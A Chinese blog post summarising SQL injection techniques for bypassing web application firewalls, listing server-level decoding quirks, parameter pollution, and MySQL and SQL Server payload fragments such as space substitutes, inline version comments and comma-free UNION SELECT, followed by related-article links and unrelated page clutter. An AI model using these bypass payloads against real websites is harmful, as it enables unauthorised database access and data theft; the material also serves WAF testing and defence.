1、SQL注入过程中的处理#

  终端payload编码------>web服务器解码-------->CGI脚本解码------>web应用解码----->数据库解码

浏览器、代理等

  ISS/Apache/Tomcat

  php/java/asp.net

  xxx系统

  mysql/sqlserver

  硬件waf

  软件waf


2、bypass方法#

 2.1 服务器层面bypass#

  2.1.1 IIS+ASP、URL处理#

  %符号的处理:会自动去掉特殊符号%,例如输入se%lect,解析出select。

  unicode处理:%u,会自动解码,例如s%u006c%u0006ect

  2.1.2 Apache#

  有的版本允许畸形请求存在,例如GET可替换为任意word,例如"DOTA"  

  2.1.3 HPP方式#

  id=1&id=2&id=3

  Asp.net + iis:   id=1,2,3

  php + apache: id = 3

 2.2 数据库层面bypass#

  1 union select a,b from where and 1 2 3 4 5 6 7 8 9

  2.2.1 mysql数据库#

  位置1的替换

  1、(\N)   --->      id=\Nunion select

  2、浮点数直接连接 -------->       id=1.1union select

  3、(nen) n为整数   --------->     1e2union select

4、单/双引号(如需要单/双引号闭合,则无需空格)

  5、左括号: ----------> union (select xx)

  6、注释:任意/**/注释   ------------------> 1/*here*/union select xx

  7、特殊注释:其中的数字和版本有关,一般大于10000都行。 ----->  id=1/*!50000union*/select

  

  位置2的替换#

  位置3的替换#

  1、空格替换:有如下字符可替代空格

  %09, %0a, %0b, %0c, %0d, %a0

  2、注释:任意/**/注释,例如  ---->   union/*here*/select xx

  3、左括号:       ------>           1 union (select xx)

  位置4的替换#

  位置5的替换#

  1、空格替换:有如下字符可替代空格

  %09, %0a, %0b, %0c, %0d, %a0

  2、左括号: ------>   1 union select (1), xx

  3、运算符

  加减号:   1 union select+1,xx1 union select-1,xx

  ~符号:     1 union select~1, xx

  !符号:      1 union select!1,xx

  @``@^符号:(at后面是反引号): 1 union select@`1`, xx1 union select@^1, xx

  注释:任意/**/注释:  1/*here*/union select xx

  特殊注释: 1 union/*!50000select*/1, xx

  反引号:   1 union select `user`, xx

  单/双引号:  1 union select"1", xx

  {}大括号:    1 union select{x 1}, xx

  \N符号:      1 union select\N, xx

  位置6替换#(同位置5替换)

  位置7替换#(参考位置5,无算数运算符)

 其他#

  1、字符串截取函数

  Mid(version(), 1,1)

  Substr(version(),1,1)

  Substring(version(),1,1)

  Lpad(version(),1)

  Rpad(version(),1,1)

  Left(version(),1)

  reverse(right(reverse(version()),1)

  2、字符串连接函数

  concat(version(), '|', user());

  concat_ws('|',1,2,3)

  3、字符转换

  Ascii(1)

  Char(49)

  Hex('a')

  Unhex(61)

  4、/*!50000keyword*/替换

  任何关键字都可以用/*!50000keyword*/替换


sqlserver数据库

空格替换#

空格符可使用以下符号替换:

01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20 
位置5/6的替换#

1、:号

1 union select:top 1 from
位置7的替换:#

1、.号

1 union select xx from.table

2、:号

1 union select xx from:table
and后的替换:#

1、:号

1 and:xx

2、%2b号

1 and%2bxx
其他#

1、字符串截取函数

Substring(@@version,1,1)Left(@@version,1)Right(@@version,1)

2、字符串转换函数

Ascii(‘a’) 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypassChar(‘97’)

 


当存在sql注入的情况,但是过滤了“,”,利用UNION SELECT * FROM ((SELECT 1)a JOIN (SELECT 2)b实际上也就相当于UNION SELECT 1,2

SQL注入绕过技巧总结的更多相关文章

  1. SQL注入绕过技巧

    1.绕过空格(注释符/* */,%a0): 两个空格代替一个空格,用Tab代替空格,%a0=空格: % % %0a %0b %0c %0d %a0 %00 /**/ /*!*/ 最基本的绕过方法,用注 ...

  2. SQL Injection绕过技巧

    0x00 sql注入的原因 sql注入的原因,表面上说是因为 拼接字符串,构成sql语句,没有使用 sql语句预编译,绑定变量. 但是更深层次的原因是,将用户输入的字符串,当成了 "sql语 ...

  3. SQL注入绕过的技巧总结

    sql注入在很早很早以前是很常见的一个漏洞.后来随着安全水平的提高,sql注入已经很少能够看到了.但是就在今天,还有很多网站带着sql注入漏洞在运行.稍微有点安全意识的朋友就应该懂得要做一下sql注入 ...

  4. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  5. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  6. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  7. TSRC挑战赛:WAF之SQL注入绕过挑战实录

    转自腾讯 博文作者:TSRC白帽子 发布日期:2014-09-03 阅读次数:1338 博文内容: 博文作者:lol [TSRC 白帽子] 第二作者:Conqu3r.花开若相惜 来自团队:[Pax.M ...

  8. 五十:代码审计-PHP无框架项目SQL注入挖掘技巧

    代码审计教学计划: 审计项目漏洞Demo->审计思路->完整源码框架->验证并利用漏洞 代码审计教学内容: PHP,JAVA网站应用,引入框架类开发源码,相关审计工具及插件使用 代码 ...

  9. SQL注入绕过waf的一万种姿势

      绕过waf分类: 白盒绕过: 针对代码审计,有的waf采用代码的方式,编写过滤函数,如下blacklist()函数所示: 1 ........ 2 3 $id=$_GET['id']; 4 5 $ ...

随机推荐

  1. 2017 百度杯丶春秋欢乐赛 writeup

    1. 内涵图(Misc) 题目: 我不是一个简单的图片 我是一个有内涵的图片 解:保存到桌面,右键属性->详细信息,即可获得flag. 2. 小电影(Misc) 题目: 我说过 这次比赛是让大家 ...

  2. 简单用数组模拟顺序栈(c++)

    **栈是一种操作受限制的线性表,太多官方的话我也不说了,我们都知道栈元素是先进后出的,它有两种存储结构,分别是顺序存储结构和链式存储结构. **今天我先记一下顺序存储结构,后面我会加上链式存储结构的. ...

  3. Linux上修改主机名

    依次执行以下命令 hostnamectl set-hostname 你想设置的名字 hostname 你想设置的名字(和上面的名字保持一致) exit 然后重新连接就行了

  4. k-近邻(KNN)算法改进约会网站的配对效果[Python]

    使用Python实现k-近邻算法的一般流程为: 1.收集数据:提供文本文件 2.准备数据:使用Python解析文本文件,预处理 3.分析数据:可视化处理 4.训练算法:此步骤不适用与k——近邻算法 5 ...

  5. MySQL内部执行流程

    本文参照自:https://www.cnblogs.com/xiaotengyi/articles/3641983.html mysql处理java传过来的SQL具体步骤: 1.java通过JDBC获 ...

  6. Java面试准备之探究源码

    摘要:之前虽然对集合框架一些知识点作了总结,但是想想面试可能会问源码,于是又大致研究了一下集合框架的一些实现类的源码,在此整理一下. 一.集合框架 二.深究实现类 1.ArrayList源码实现 Ar ...

  7. python处理Windows平台上路径有空格

    最近在采集windows上中间件的时候,遇到了文件路径有空格的问题. 例如:Aapche的安装路径为D:\Program Files\Apache Software Foundation\Apache ...

  8. 初识:java虚拟机的内存划分

    什么是内存? 内存是计算机中的重要原件,临时存储区域,作用是运行程序.我们编写的程序是存放在硬盘中的,在硬盘中的程序是不会运行的,必须放进内存中才能运行,运行完毕后会清空内存.Java虚拟机要运行程序 ...

  9. HashMap 与 HashSet 联系

    HashMap实现 Map接口 HashSet实现Collection接口 HashSet底层是HashMap  好的 记住这个就可以了 HashSet只存放key, value:   private ...

  10. Mac之brew使用

    brew : 终端程序管理工具 能让你更快速的安装你想要的工具.而不用考虑大量的依赖. 安装命令 给官网的一样也可以自己去官网查看 它就类似于centos下的yum 和 Ubuntu下的apt-get ...